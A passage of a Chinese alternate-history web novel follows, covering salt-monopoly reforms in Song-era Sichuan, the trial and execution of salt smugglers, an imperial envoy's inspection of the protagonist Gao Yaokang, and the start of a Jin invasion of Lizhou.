“百十号人。土狗子。盐枭的人。领头的那个,荣州赵五,这一带的地头蛇。”
苏檀儿点点头。
她往前走了两步。站在台阶上。
“你是谁?”
黑脸大汉说:“老子行不更名坐不改姓,荣州赵五!这儿的盐,历来是老子管!你一个娘们儿,凭什么来收?”
苏檀儿说:“凭高宣抚的命令。”
赵五说:“高宣抚?老子不认识!老子只知道,谁动老子的盐,老子要谁的命!”
他一挥手。
后头的人往前涌。刀举起来,枪端起来。
王彦抬起手。
两边房顶上,站起来一排人。端着**。箭头亮晶晶的,对着下头。
赵五愣住了。
王彦说:“你动一下试试。试试就逝世。”
赵五的脸涨红了。红得发紫。
他看看房顶上那些**。看看王彦。看看苏檀儿。看看四周。
忽然一勒马。马抬起前蹄,嘶了一声。
“撤!”
那些人跑了。跟潮水似的,一会儿就没影了。
苏檀儿站在原地。没动。
王彦走过来。
“追不追?”
苏檀儿说:“不急。”
她看着那些人的背影。扬起的尘土还没落下。
“他们会再来的。来的时候,就不是一百人了。”
六月二十五。富顺监。
吴老板来了。跪在苏檀儿面前。膝盖砸在地上,咚的一声。
“苏娘子,我招。我都招。求你给我条活路。”
他供出了一串名字。荣州的赵五。资州的钱五。泸州的孙四。还有几个当官的。富顺监的监官。荣州的通判。泸州的知州。
苏檀儿听着。记着。脸上没什么表情。
吴老板说完,趴在地上。浑身发抖。
“苏娘子,我是被逼的。他们……他们手里有刀,我不敢不卖给他们。他们说,不卖就杀我全家。我老婆,我儿子,我孙子……”
苏檀儿说:“卖给谁了?”
吴老板说:“卖给……卖给……”
他说不下去了。头埋在地上。
苏檀儿说:“说。”
吴老板说:“卖给伪齐的人了。他们派人来收。价钱高。比私盐还高。我不敢不卖。赵五牵的线,说只要卖给他们,以后荣州的地盘都归我。”
苏檀儿站起来。
她走到窗前。站了一会儿。
窗外,太阳很好。街上有人在走。
然后她转过身。
“吴老板,你起来吧。”
吴老板抬起头。不敢相信。眼睛瞪得老大。
苏檀儿说:“你的盐井,以后归盐务总局管。按新价钱收。该你的那份,不会少你。以前的事,一笔勾销。”
吴老板愣住了。嘴张着。
“苏娘子……你……你不杀我?”
苏檀儿说:“你招了。以后听话。就够了。”
吴老板趴在地上,哭起来。哭得浑身发抖。肩膀一抽一抽的。
第一百零九章 真得不一样
七月初二。荣州。
赵五没跑。
这货还挺聪明,知道跑也没用。带着人,藏在山里。等着机会。躲在洞里,跟野人似的。
王彦没给他机会。
三千兵,把山围了。围了三天。水泄不通,连只兔子都跑不出去。白天埋锅做饭,晚上点着火把,跟过年似的。
第四天,赵五出来了。
浑身是泥,跟泥里滚过似的。眼睛红着,跟兔子似的。瘦了一圈,胡子拉碴的。
走到王彦面前。跪下。膝盖砸在地上,咚的一声。
“王将军,我服了。真服了。”
王彦看着他。没说话。
赵五低着头。
王彦说:“盐卖给谁了?”
赵五说:“伪齐。金人。都卖过。”
王彦说:“谁指使的?”
赵五说:“没人指使。我自己干的。价钱高。我想赚钱。一家老小要养活,手下兄弟要吃饭。”
王彦沉默了一会儿。
然后他说:“带走。”
七月初五。重庆府。公审。
广场上挤满了人。几千号。站得密密麻麻。树上都爬着人,房顶上也站着人。跟赶集似的。
台上跪着五个人。赵五。钱五。孙四。还有两个当官的。富顺监的监官。荣州的通判。
高尧康坐在台上。脸上没表情。眼睛看着那些人。
苏檀儿站在旁边。手里拿着一卷纸。纸很长,快拖到地上了。
她念。
念赵五的罪。**。贩私盐。资敌。一条一条,清清楚楚。
念钱五的罪。一样。
念孙四的罪。一样。
念那两个当官的罪。收贿。包庇。通敌。签字画押的文书都在。
念完了。底下静悄悄的。静得能听见喘气声。
高尧康站起来。
他看着那些人。看着那些老百姓。
“盐是什么?老百姓要吃盐。兵要吃盐。马要吃盐。没有盐,人就没力气。没盐,马就站不住。没盐,这川蜀四路就垮了。”
他看着那几个跪着的人。跪着的人低着头,不敢看他。
“他们呢?他们把盐卖给金人。卖给伪齐。卖给杀咱们同胞的人。卖给那些在汴京**放火的人。”
底下有人喊:“杀了他们!”
第二个。第三个。一片喊声。跟打雷似的。
“杀了他!杀了他!”
高尧康抬起手。
喊声停了。静得跟没人似的。
他看着那五个人。
“按律,当斩。”
赵五抬起头。脸灰了。灰得跟土似的。
钱五瘫在地上。跟一堆烂泥似的。
那两个当官的,拼命磕头。磕得咚咚响,脑门都破了。
高尧康说:“行刑。”
刀落下。
五颗头,滚在地上。骨碌碌的。
底下静了一会儿。
然后爆发出喊声。
喊什么都有。有人哭。有人笑。有人跪下去磕头。有人往台上扔铜钱。有人喊“青天大老爷”。
高尧康转身,走了。
没回头。
七月初十。偏远山区。大巴山深处。
一个小村子。十几户人家。藏在山沟里。房子是木头搭的,歪歪扭扭的。狗叫了两声,就不叫了。
高尧康带着人,走了三天才到。爬山爬得腿都软了。
村长是个老头。六十多岁。瘦,黑,眼睛亮。穿着破衣裳,打着补丁。
看见高尧康,他愣住了。嘴张着,半天没合上。
“你……你是……”
高尧康说:“我是高尧康。”
老头扑通跪下了。膝盖砸在石头上,咚的一声。
“高宣抚……你怎么来了这地方……这地方……这地方连路都没有……”
高尧康把他扶起来。手托着他胳膊。
“来看看你们。”
老头站起来。手在抖。浑身都在抖。
高尧康说:“村里缺盐吗?”
老头愣了一下。
然后他低下头。看着地。
“缺。缺得厉害。一斤盐,要换三斗粮。买不起。一年到头,吃不上几回盐。菜里没味,人没力气。”
高尧康从怀里掏出一张纸。
递给老头。
“这是什么?”
老头接过来。看不懂。翻过来,倒过去。纸上的字一个不认识。
高尧康说:“盐贴。凭这个,每个月能去镇上领二斤盐。不要钱。一斤都不用。”
老头愣住了。
他看着那张纸。翻过来。翻过去。手在抖。
然后他抬起头。看着高尧康。
眼泪流下来。顺着脸上的褶子往下淌。
“高宣抚……你……你是神仙吗?”
高尧康摇摇头。
“不是。是欠你们的。欠太久了。”
老头听不懂。
但他跪下去了。扑通一声。
全村的都跪下去了。老的,少的,男的,女的,抱着孩子的,扶着拐杖的。
高尧康一个一个扶起来。一个一个。
扶到最后一个,是个孩子。七八岁。瘦得皮包骨。眼睛很大,亮晶晶的。
他看着高尧康。
“伯伯,以后有盐吃了?”
高尧康说:“有。”
孩子笑了。
笑得很好看。眼睛弯弯的。
八月初一。重庆府。府衙。
苏檀儿拿着账本进来。脸上带着笑。笑得跟捡着钱似的。
“高宣抚,七月份的盐税。”
高尧康接过来。看。
数字比上个月翻了三番。翻了三个跟头。
他抬起头。
苏檀儿说:“那些盐枭,该杀的杀了,该收的收了。剩下的,都老实了。比兔子还老实。盐井全在咱们手里。盐价稳了。盐税上来了。”
她顿了顿。
“还有,往南往东的盐路,也通了。大理那边的人来谈,想多买。价钱给得高。高得离谱。”
高尧康点点头。
苏檀儿看着他。
“你怎么不高兴?”
高尧康说:“高兴。”
苏檀儿说:“不像。脸上没笑。”
高尧康沉默了一会儿。
然后他说:“那个村子。大巴山那个。”
苏檀儿等着。
高尧康说:“他们以前,一斤盐要换三斗粮。”
他看着窗外。
“三斗粮。一家人攒一年。从牙缝里省。”
苏檀儿没说话。
高尧康说:“以后不会了。”
苏檀儿看着他。
看了一会儿。
然后她说:“高尧康。”
“嗯。”
“你这个人,有时候真奇怪。”
高尧康看着她。
苏檀儿说:“别的官,收上税来,高兴得不得了。喝酒,摆宴,庆功。你收上来了,想的还是那些老百姓。”
她笑了。
“不过,我就服你这一点。”
八月初五。格物院。
宇文虚来找高尧康。跑得气喘吁吁的。
“高宣抚,有个事得跟你说。要紧事。”
高尧康看着他。
宇文虚说:“盐务改革之后,有个东西查出来了。”
他从怀里掏出一张纸。纸皱巴巴的,跟被揉过似的。
“这是从赵五那里搜出来的。账本。藏得很深,在炕洞里。”
高尧康接过来。看。
上面记着盐的数量。卖的日期。收钱的人。一笔一笔,清清楚楚。
最后一页,有个名字。
**。
高尧康看着那个名字。眼睛眯起来。
宇文虚说:“赵五的盐,有一部分是卖给他的。他再从襄阳那边转手,卖给伪齐。倒一手,赚一倍。”
高尧康把账本放下。
“**。又是他。”
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宇文虚说:“要不要告诉王善那边?”
高尧康想了想。
“派人去襄阳。跟王善说一声。让他盯着这个人。别打草惊蛇。”
宇文虚说:“是。”
他走了。
高尧康坐在那儿。看着那张纸。
杨蓁走进来。
“怎么了?”
高尧康说:“**。当初从夔州运走东西那个。现在在襄阳。还在做买卖。卖给伪齐。赚双份钱。”
杨蓁说:“抓他?”
高尧康说:“抓不了。他在伪齐的地盘上。手伸不过去。”
杨蓁说:“那怎么办?”
高尧康说:“让他多活几天。多活几个月。”
他看着窗外。
窗外,天快黑了。鸟在叫。
八月初八。重庆府。街上。
苏檀儿从盐务总局出来。走回府衙。走得慢悠悠的。
路上经过一个摊子。卖盐的。
摊主是个老头。头发白了,腰有点弯。看见她,赶紧站起来。站得笔直。
“苏娘子!苏娘子!”
苏檀儿停住。
老头从摊上拿起一包盐。双手捧着。递到她面前。
“苏娘子,这是小老儿的一点心意。您拿着。不要钱。”
苏檀儿愣了一下。
“为什么?”
老头说:“以前一斤盐,卖三十文。我一天卖不出去几斤。一个月赚不了几个钱。现在一斤盐,卖十五文。我一天能卖几十斤。赚得比以前还多。”
他看着苏檀儿。眼睛亮亮的。
“这都是托您的福。托您的福。”
苏檀儿站在那儿。看着那包盐。
看了很久。
然后她接过来。
“谢谢。”
她继续走。
走了几步,忽然回头。
那老头还在看着她。笑呵呵的。脸上的褶子都笑开了。
她也笑了。
笑得挺开心的。
八月初十。府衙后院。
高尧康在院子里站着。看着月亮。
月亮很圆。很亮。照得院子里跟白天似的。
杨蓁走过来。站在他旁边。
“想什么呢?”
高尧康说:“想盐的事。”
杨蓁说:“盐不是成了吗?挺好的。”
高尧康说:“盐成了。但事儿没完。”
他看着月亮。
“**。伪齐。金人。还有临安那边来的张浚。快到了。”
他顿了顿。
“一个接一个。没完没了。”
杨蓁没说话。只是握住他的手。手挺暖和。
两个人站着。月亮照着。
后头,忽然有人说话。
“高宣抚。”
他们回头。
是赵福金。站在门口。穿着寻常的衣裳,干干净净的。
她走过来。走到他们面前。脚步稳稳的。
看着高尧康。
“今天我去医院帮忙了。林娘子教我怎么换药。怎么洗伤口,怎么缠布条。”
高尧康看着她。
赵福金说:“那些伤兵,有的缺胳膊,有的断腿。有的脸上疤拉老长。但他们还在笑。”
她顿了顿。
“我问他们,笑什么?他们说,有盐吃了,有药用了,有盼头了。不用再跑了。”
她看着高尧康。
眼睛亮亮的。跟星星似的。
“高宣抚,这是你给的。”
高尧康没说话。
赵福金说:“我那个王兄,他做不到。他只会跑。”
她转身走了。走得稳稳的。
杨蓁看着那个背影。
“她今天不一样。”
高尧康说:“嗯。”
杨蓁说:“不喝酒了。不发疯了。不哭了。”
她转过头,看着高尧康。
“你把她治好了。”
高尧康没说话。
月亮很亮。
照在三个人站过的地方。
第一百一十章 控制经济命脉
建炎二年八月十八。重庆府。大宋联号总号。
苏檀儿站在大堂中间,看着那块新挂上去的匾。脖子仰得老高,跟看星星似的。
“大宋联号总号”。七个字。烫金的。亮得晃眼。太阳一照,能把人眼睛闪瞎。
旁边站着几十号人。成都府的,潼川府的,利州路的,夔州路的。全是各地联号分号的掌柜。有的胖,有的瘦,有的年轻,有的老。但眼睛都亮,跟狼似的。看着那块匾,像看金子。
沈万金站在苏檀儿旁边。脸上的肉都在笑,笑得跟弥勒佛似的,眼睛都快找不着了。
“苏娘子,从今天起,咱们就是四路第一了。第一啊。”
苏檀儿没说话。
她转过身,看着那些人。一个一个看过去。
“从今天起,川陕四路的盐,归联号管。茶,归联号管。铁,归联号管。布,归联号管。粮食,也归联号管。能吃的,能喝的,能穿的,能用的,都归联号管。”
底下有人吸气。嘶的一声,好几声。
苏檀儿继续说:“盐铁专卖,是朝廷的规矩。谁也不能改。但怎么卖,卖多少,卖多少钱,咱们说了算。朝廷管不着。”
她顿了顿。眼睛扫了一圈。
“有意见的,现在说。不说以后就别说了。”
没人说话。有人咽了口唾沫。
苏檀儿点点头。
“那就干活。散了吧。”
八月二十。重庆府。转运使司衙门。
周贵坐在案前,看着手里那沓纸。纸摞得老高,跟小山似的。他一页一页翻,看得很慢,眉头皱着。
王端站在旁边。孟义站在另一边。
周贵看完。抬起头。眼睛有点红。
“三个月,查了三百多家铺子。**的,四十七家。卖假货的,二十三家。哄抬物价的,三十一家。好家伙,一百多家不老实。”
他看着王端。
“怎么处理?”
王端说:“按规矩办。**的,补税加罚款。交不出来,拿货顶。卖假货的,没收货物,关铺子。哄抬物价的,警告。再犯的,关人。关几天再说。”
周贵点点头。脸上没表情。
他看着孟义。
“你那边呢?”
孟义说:“市场的价,每天盯着。早上一次,中午一次,晚上一次。粮价稳了。布价稳了。盐价最稳,一斤十五文,哪家铺子都一样。从城东到城西,从城南到城北,都是一个价。”
他顿了顿。
“有几个想涨价的,还没涨,就听说有人被抓了。就不敢了。老实了。”
周贵笑了。难得笑一次。
“好。”
他站起来。走到窗前。
窗外,街上人来人往。挑担的,推车的,牵孩子的。脸上都带着笑。有人买了盐,举着袋子,笑得跟过年似的。
“高宣抚要的,就是这个。老百姓笑,他就笑。”
八月二十五。重庆府。城门口。
张浚到了。
一百多人。骑着马,赶着车,扛着旗。浩浩荡荡地进了城,跟**似的。旗子上写着“张”,风一吹,哗哗响。
高尧康站在城门口等着。穿着寻常衣裳,没穿官服。
张浚下马。走过来。
三十出头。高,瘦,脸白。看着像书生,但眼睛很亮。看人的时候,像在打量。从上到下,从左到右。
他看着高尧康。抱拳。
“高宣抚。久仰。在临安就听说你的大名。”
高尧康还礼。
“张副使。一路辛苦。”
张浚笑了一下。笑得挺客气。
“辛苦什么?一路好山好水,还有高宣抚的人沿途接待。酒肉不断。比在临安舒服多了。临安天天听人吵架。”
高尧康说:“应该的。”
两个人对望着。谁也不多说。你看着我,我看着你,跟两只猫似的。
后头,杨蓁站在人群里。看着这一幕。眼睛眯着。
她的手按在刀柄上。
苏檀儿站在她旁边。也看着。
“别紧张。”
杨蓁说:“没紧张。”
苏檀儿笑了。
“你手按着刀呢。当我瞎?”
杨蓁低头看了一眼。松开手。刀柄上留了个手印。
苏檀儿说:“走吧。回去准备。晚上还有宴席呢。”
八月二十六。重庆府。驿馆。
张浚住下了。
最好的院子。最好的屋子。最好的床。最好的被子。被子是蜀锦的,软得跟云似的。桌上摆着水果,新鲜的。
晚上,宴席。
高尧康没来。来的是一群官员。成都府的郑转运使。潼川府的新知州。利州路的几个。还有周贵,王端,孟义。坐了一大桌。
张浚坐在主位上。喝酒。吃菜。笑呵呵的。来者不拒。
郑转运使敬酒。
“张副使远道而来,辛苦了。下官敬您一杯。您随意,**了。”
张浚喝了。一口闷。
新知州敬酒。
“张副使年轻有为,日后必定前程似锦。下官敬您。以后还请多关照。”
张浚喝了。又是口闷。
周贵敬酒。
“张副使,以后川陕的事,还请您多指点。有什么不对的,您尽管说。”
张浚喝了。还是口闷。
喝到半夜。张浚醉了。趴在桌上,脸都红了。话都说不利索了。
被人扶进去。睡了。
第二天晚上。宴席。又喝到半夜。
第三天晚上。宴席。又喝到半夜。
第四天晚上。还是宴席。还是喝到半夜。
张浚都去。都喝。都笑呵呵的。来者不拒,谁敬都喝。
八月三十。夜。驿馆。张浚屋里。
灯亮着。张浚坐在案前。没醉。眼睛很清醒。亮得跟灯似的。一点醉意都没有。
对面站着个人。二十七八岁。黑,瘦,眼睛很亮。穿着一身便装,灰扑扑的。
张浚说:“吴玠,这几天看出什么了?”
吴玠说:“看出来了。”
张浚等着。
吴玠说:“这个高尧康,不简单。不是一般人。”
他从怀里掏出个小本子。本子挺厚,写了不少页。
“盐务总局。统一收盐,统一定价。以前一斤盐三十文,老百姓吃不起。现在十五文,老百姓抢着买。盐税翻了三番。三番,张副使。”
“军医院。林素娥管的。从流民里招女人,教她们学医。现在伤兵死得少了,活的多了一半。那些女人也有饭吃,有地方住。”
“格物院。宇文虚管的。在造新火器。我没进去,但听人说,造出了能打二百丈的炮。二百丈,从这头到那头。”
“新军。六万人。王彦带的。练得比朝廷的禁军还狠。天不亮就起来操练,天黑了还在练。”
张浚听着。脸上没什么表情。但手指头在桌上敲了敲。
吴玠继续说:“还有联号。苏檀儿管的。盐铁茶马,全在她手里。四路的买卖人,都入了联号。赚了钱的,听话。不听话的,赚不到钱。比刀子还管用。”
他把本子合上。啪的一声。
“张副使,这个人,不是一般的武将。他把川陕四路,变成了一块铁板。敲不动,砸不烂。”
张浚沉默了很久。屋里很静。
然后他忽然笑了。
“有意思。”
吴玠看着他。
张浚站起来。走到窗前。窗外黑漆漆的,什么都看不见。
“你说,他**吗?”
吴玠想了想。
“不像。他要**,早反了。朝廷现在顾不上这边。金兵追着官家跑,官家自己都顾不过来。他手里有六万精兵,有粮,有钱,有火器。他要称王,没人拦得住。”
他看着张浚。
“但他没称王。他还给朝廷进贡。还给官
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家写信。还派人在临安活动。上个月又送了一批蜀锦,说是给官家做衣裳。”
张浚点点头。
“那他想要什么?”
吴玠说:“不知道。看不透。”
张浚转过身。
“明天,我去见他。当面问问。”
九月初二。夜。府衙后院。
高尧康在书房里看文书。灯芯噼啪响着。
门被推开。杨蓁进来。
“张浚来了。”
高尧康抬起头。
“一个人?”
杨蓁说:“一个人。没带人。没带刀。”
高尧康放下笔。站起来。
“请他进来。”
张浚进来的时候,屋里已经摆好了茶。两杯。冒着热气。
两个人对坐着。谁也不说话。茶喝了一口,又喝了一口。
过了一会儿,张浚先开口。
“高宣抚,这几天,我吃你的喝你的,住你的。该看的,也都看了。你那边,我差不多摸清了。”
高尧康说:“张副使想看什么,随便看。不用偷偷摸摸。”
张浚说:“我派吴玠去查你。你知道吧?”
高尧康说:“知道。进城第一天他就出去了。”
张浚说:“你不拦着?”
高尧康说:“拦什么?我做的事,不怕人看。他查到的,都是真的。假的我还没造出来呢。”
张浚看着他。看了很久。
然后他忽然笑了。笑得挺大声。
“高尧康,你这个人,有意思。跟我见过的官都不一样。”
他端起茶。喝了一口。放下。
“我来之前,黄潜善跟我说,你权力太大,要盯着你。必要的时候,可以动你。他说你要**。”
他看着高尧康。
“我来之后,看了几天。觉得他说的不对。”
高尧康没说话。
张浚说:“你不是那种人。你想的不是自己。你想的是打仗。打金人。打伪齐。打回去。把失去的都拿回来。”
他顿了顿。
“你想的事,我也想。从考中进士那天就想。”
高尧康看着他。
张浚说:“我张浚,读圣贤书,考进士,当官。不是为了在临安混日子。不是为了看黄潜善那张脸。是为了有一天,能打回去,收复中原。告祭宗庙。”
他看着高尧康。
“你在川陕做的这些,我佩服。换成我,不一定做得更好。”
屋里静了一会儿。
高尧康说:“张副使,你到底想说什么?”
张浚说:“想跟你说,我不会碍你的事。你的事,是大事。比黄潜善那些破事大。”
他站起来。
“你练兵,我不拦。你造火器,我不拦。你收盐,搞联号,我都不拦。只要你不**。”
他看着高尧康。
“你**吗?”
高尧康站起来。
看着他。
“不造。要造早造了。”
张浚点点头。
“那就行了。”
他往外走。
走到门口,忽然回头。
“高尧康。”
“嗯。”
“吴玠这个人,我想留在蜀地。让他跟着你学学。行不行?他底子好,就是缺实战。”
高尧康愣了一下。
张浚说:“他是我的人。但他想学打仗。你这边,能让他学。比跟着我强。”
高尧康想了想。
“行。让他来找我。”
张浚走了。
门关上。
杨蓁从后头出来。
“他什么意思?”
高尧康说:“示好。把吴玠留下来,是押宝。也是看着咱们。两不耽误。”
杨蓁说:“信得过吗?”
高尧康说:“信不信得过,得看以后。看他怎么说,怎么做。”
他坐下来。
端起茶,喝了一口。茶有点凉了。
“但他说的那些话,是真的。我看得出来。”
第一百一十一章 像人一样生活
九月初五。驿馆。张浚住处。
赵福金站在门口。穿了件寻常的青布衣裳,头发随便挽着,跟街上的普通女人没什么两样。但她站在那儿,就是不一样。腰挺得直直的,眼睛看着前方,不躲不闪。
张浚迎出来。看见她,愣了一下。然后扑通跪下去,膝盖砸在地上。
“臣张浚,参见公主。”
赵福金说:“起来吧。我不是什么公主了。”
张浚站起来。拍了拍膝盖上的土,偷偷看了她一眼。
赵福金说:“听说你来了。来见见。”
张浚把她请进屋。亲自倒茶,双手捧着递过去。
茶上了。门关了。
张浚看着她。想从她脸上看出点什么。
“公主在蜀地,可好?”
赵福金说:“好。有饭吃,有地方住,有活干。比在汴京的时候好。”
张浚说:“官家很挂念公主。让臣转告公主,若是想回临安,官家立刻派人来接。船都准备好了。”
赵福金沉默了一会儿。端着茶杯,没喝。
然后她抬起头。看着张浚。
“回去干嘛?”
张浚愣了一下。
赵福金说:“回去当公主?住在宫里?每天打扮得漂漂亮亮的,等着嫁人?嫁个什么人?蔡京的儿子那样的?”
她笑了笑。笑得很淡。嘴角扯了一下,就收回来了。
“张副使,你知道我在汴京经历了什么吗?”
张浚没说话。低下头。
赵福金说:“金兵破城那天,我差点被他们抓住。那些人的手,差点就碰到我了。是高宣抚救了我。带着我跑了三天三夜,翻山钻林子,才跑出来。”
她顿了顿。手指头攥着衣角,攥得发白。
“在这儿。高宣抚给我饭吃,给我地方住,让我干活。我现在在医院帮忙。给伤兵换药。那些伤兵,有的缺胳膊,有的断腿。有的脸上疤拉老长。但他们看见我,会笑。叫我赵娘子。”
她看着张浚。眼睛亮亮的。
“在临安,我能看见这种笑吗?那些大臣,那些官,看见我,只会跪。跪完了,背后骂我。骂我是个破鞋。”
张浚沉默着。嘴动了动,没说出话。
赵福金说:“你回去告诉我那个王兄。我在蜀地很好。不用他挂念。也不用他派人来接。他要真挂念,汴京破的时候干嘛去了?”
她站起来。动作很快。
走到门口。回头。
“张副使,你是个好人。但你不懂。你没经历过那些事,你不懂。”
她走了。
张浚坐在那儿。看着那扇门。
看了很久。手里的茶凉了,他也没喝。
九月初八。重庆府。城外大营。
吴玠来了。
站在高尧康面前。抱拳。动作干净利落。
“高宣抚,末将吴玠,奉命报到。”
高尧康看着他。
二十七八岁。黑,瘦,眼睛很亮。跟两颗星星似的。站得直,像根标枪。看人的时候,不躲不闪,直勾勾的。
高尧康说:“张浚让你来的?”
吴玠说:“是。张副使说,让我跟着高宣抚学学。”
高尧康说:“你想学什么?”
吴玠说:“学打仗。学练兵。学怎么打金人。学怎么不打败仗。”
高尧康看着他。
“打过仗吗?”
吴玠说:“打过。去年在河北,跟金兵打过一仗。输了。输得很惨。”
高尧康说:“输了多少?”
吴玠说:“三千人,回来不到一千。两千多兄弟,没了。”
高尧康没说话。
吴玠说:“输了才知道,以前练的那些,都是花架子。排着队往前走,跟赶集似的。金兵一冲,就散了。真打起来,顶不住。”
他看着高尧康。眼睛里的光很硬。
“听说高宣抚练兵,能让人从花架子变成能打的。所以末将来学。”
高尧康点点头。
“行。跟着王彦吧。他能教你。”
吴玠愣了一下。
“王将军?”
高尧康说:“对。他教你。他打过的仗,比你吃过的盐多。”
吴玠抱拳。
“多谢高宣抚。”
他走了。走得很快,步子很大。
杨蓁从后头出来。
“这人能行吗?看着跟个闷葫芦似的。”
高尧康说:“看着行。眼睛里有东西。”
杨蓁说:“张浚的人,你信?”
高尧康说:“不是信他。是让他看看。看看咱们怎么练兵,怎么打仗。看完了,回去告诉张浚。张浚知道了,就不会乱动。与其藏着掖着,不如让他看个明白。”
他看着吴玠走远的背影。
“有时候,让人看看,比藏着更有用。藏着,他猜。猜就容易猜错。让他看明白了,他就不猜了。”
九月十五。重庆府。府衙。
苏檀儿拿着账本进来。脸上带着笑,笑得跟捡着钱了似的。
“高宣抚,九月份的账。”
高尧康接过来。看。
数字又涨了。涨得吓人。
盐税翻了两番。茶税翻了一番。铁的税,布的税,粮食的税,全涨了。连卖扫帚的税都涨了。
他抬起头。
苏檀儿说:“往北的盐路通了。从利州那边走,过秦岭,进伪齐的地界。换回来一百多匹战马。还有几十张好皮子。上好的皮子,做大氅都不心疼。”
她顿了顿。
“往东的茶路也通了。从夔州走水路,进荆湖。那边的商人抢着要,跟抢似的。价钱比咱们这边高一半。高一半啊,高宣抚。”
高尧康看着那些数字。手指头在纸上点了点。
“金人那边,知道盐是咱们卖的吗?”
苏檀儿说:“知道。但他们买。因为便宜。比他们自己熬的盐便宜一半。金人又不傻,便宜不占?”
她笑了。笑得跟狐狸似的。
“他们吃着咱们的盐,骑着咱们换回来的马。等有一天打起来,那些马说不定会驮着咱们的兵,去打他们自己。你说好笑不好笑?”
高尧康没说话。
他看着窗外。
窗外,太阳很好。街上人来人往,热闹得很。
“金人那边,有什么动静?”
苏檀儿说:“有。伪齐那边,刘豫在调兵。听说要往南边打。具体打哪儿,不知道。可能是襄阳,可能是荆湖。”
她顿了顿。
“王善那边在盯着。有消息会报过来。”
高尧康点点头。
“让王善盯紧了。别走神。”
九月二十。利州路。边境。
王彦带着兵,在山里走了三天。
吴玠跟在后头。一步不落。走得腿都软了,也不吭声。
走到一处山崖,王彦停下来。往下看。
底下是一条山谷。窄。两边是峭壁,刀削似的。中间一条小路,只够两个人并排走。
王彦蹲下来。指着下头。
“要是伪齐的兵从这儿过,咱们在两边山上一蹲,他们就完了。一个都跑不了。”
吴玠往下看。看了一会儿。
“王将军,这儿太险了。他们不一定走这儿。傻子才走这儿。”
王彦说:“他们不走这儿,咱们就让他们走这儿。”
他指着那条小路。手指头在空气中划了一下。
“把前头的路堵了。把后头的路也堵了。他们就只能走这儿。不走也得走。”
吴玠愣了一下。
然后他笑了。笑得跟明白了什么似的。
“懂了。逼他们走咱们想让他们走的路。不是他们选,是咱们替他们选。”
王彦点点头。
“行。学得挺快。跟了三天就开窍了。”
九月二十五。重庆府。医院。
林素娥在院子里教课。
二十几个年轻女人,围成一圈。每人手里拿着块布,在练习包扎。有的手笨,布缠得跟麻花似的。有的手巧,几下就扎好了。
林素娥站在中间。一个一个看。看完,点头。或者摇头。摇头的时候,就过去手把手教一遍。
赵福金也在。蹲在一个女孩旁边,帮她纠正手势。那女孩手笨得很,扎了半天,扎不好。急得要哭,眼眶都红了。
赵福金说:“别急。慢慢来。我第一次学的时候,比你还笨。林娘子差点把我赶出去。”
女孩抬起头。看着她。眼睛红红的。
“公主,你真的学过?”
赵福金笑了。笑得挺开心的。
“学过。学了一个月。扎坏过十几个伤兵。他们看见我拿着布过来,脸都绿了。都不敢让我扎了。”
女孩也笑了。笑得眼泪都出来了。
林素娥走过来。站在赵福金旁边。
“公主,你学得差不多了。伤口能处理了,药能认了,绷带能缠了。”
赵福金说:“还不够。差得远。”
林素娥看着她。
“你想当大夫?那得学很多年。”
赵福金想了想。
“不知道。但在这儿干活,比在宫里开心。在宫里,我什么都干不了。在这儿,我能干点什么。”
林素娥点点头。
“那就干着。干着干着就知道了。”
九月二十八。夜。府衙后院。
高尧康在院子里站着。看着月亮。月亮挺圆,挺亮。
杨蓁走过来。站在他旁边。
“想什么呢?”
高尧康说:“想张浚。”
杨蓁说:“他不是挺好的吗?天天吃吃喝喝,也不找事。吴玠也送来了,挺老实。”
高尧康说:“就是太好了。”
他顿了顿。
“他来蜀地,是盯着咱们的。现在不盯了,还让吴玠跟着咱们学。太顺了。顺得不对劲。跟做梦似的。”
杨蓁说:“你觉得他憋着坏?”
高尧康说:“不知道。”
他沉默了一会儿。月亮照在他脸上,一半明一半暗。
“但他说的那些话,是真的。他想打回去。这点,跟咱们一样。眼睛里骗不了人。”
杨蓁说:“那就行。只要想打回去,就是一路人。至于以后……”
她没说完。
高尧康懂了。
他伸手,握住她的手。手挺暖和。
两个人站着。月亮照着。
后头,忽然有人咳嗽一声。
他们回头。
是赵福金。站在门口。穿着医院的衣裳,袖口上还沾着药渍。
她看着他们。笑了一下。笑得挺不好意思的。
“不好意思。打扰了。”
她走过来。站在他们面前。
看着高尧康。
“高宣抚,今天张浚又派人来问我。还是那句话。想不想回临安。”
高尧康说:“你怎么说?”
赵福金说:“我说不想。”
她顿了顿。攥了攥衣角。
“我跟那人说,在蜀地,我看到了希望。在皇兄那儿,我看不到。他只会跑。从汴京跑到扬州,从扬州跑到杭州。再跑下去,就要跑到海里去了。”
高尧康没说话。
赵福金看着他。眼睛亮亮的。跟月亮似的。
“高宣抚,你别赶我走。”
高尧康说:“没人赶你。”
赵福金笑了。
“那就行。”
她转身走了。走得稳稳的。
杨蓁看着那个背影。
“她真的变了。以前跟只受惊的兔子似的,现在不一样了。”
高尧康说:“嗯。”
杨蓁说:“以前是个公主。现在是个……人。”
高尧康没说话。
第一百一十二章 利州烽火
建炎二年十月初九。夔州。府衙。
天刚亮。高尧康还没起床,门就被拍响了。不是敲,是拍,跟要拆门似的。
陈东的声音。急得破音,跟被人掐着脖子似的。
“高宣抚!利州急报!金兵打过来了!”
高尧康翻身下床,脚踩在地上,凉得他激灵一下。拉开门。
陈东站在门口。手里举着一封信,举得老高。脸都白了,白得跟纸似的。嘴唇哆嗦着。
“金兵……金兵打过来了。”
高尧康接过信。拆开。
信是利州路兴元府知州写的。字迹潦草,跟狗爬似的,沾着汗渍,纸都皱了。
“金西路军完颜娄室率五万兵,联合伪齐三万,猛攻陕西。洋州已破。金军前锋已入利州路境内。距兴元府不到二百里。急求援军。急急急。”
高尧康看完。把信折起来。脸上没什么表情,但手指头在抖。
杨蓁从后头出来。头发还散着,衣裳还没扣好。
“怎么了?”
高尧康说:“金兵来了。”
杨蓁愣了一下。
然后她转身往里走。走得很快。
“我去穿甲。”
高尧康说:“等等。”
杨蓁回头。
高尧康说:“你不去。”
杨蓁看着他。眼睛眯起来。
“你说什么?”
高尧康说:“这次,你在后头。中军参谋。看地图,传命令,管粮草。哪儿也别去。”
杨蓁走回来。站在他面前。很近。眼睛盯着他,跟两把刀似的。
“我跟了你多少年?”
高尧康说:“四年。”
杨蓁说:“打过多少仗?”
高尧康说:“数不清。”
杨蓁说:“哪一次我在后头?”
高尧康没说话。
杨蓁说:“土门关。汴京巷战。哪一次我不是冲在前头?”
她顿了顿。声音有点抖。
“你现在让我在后头?”
高尧康看着她。
看了很久。
然后他说:“蓁儿。”
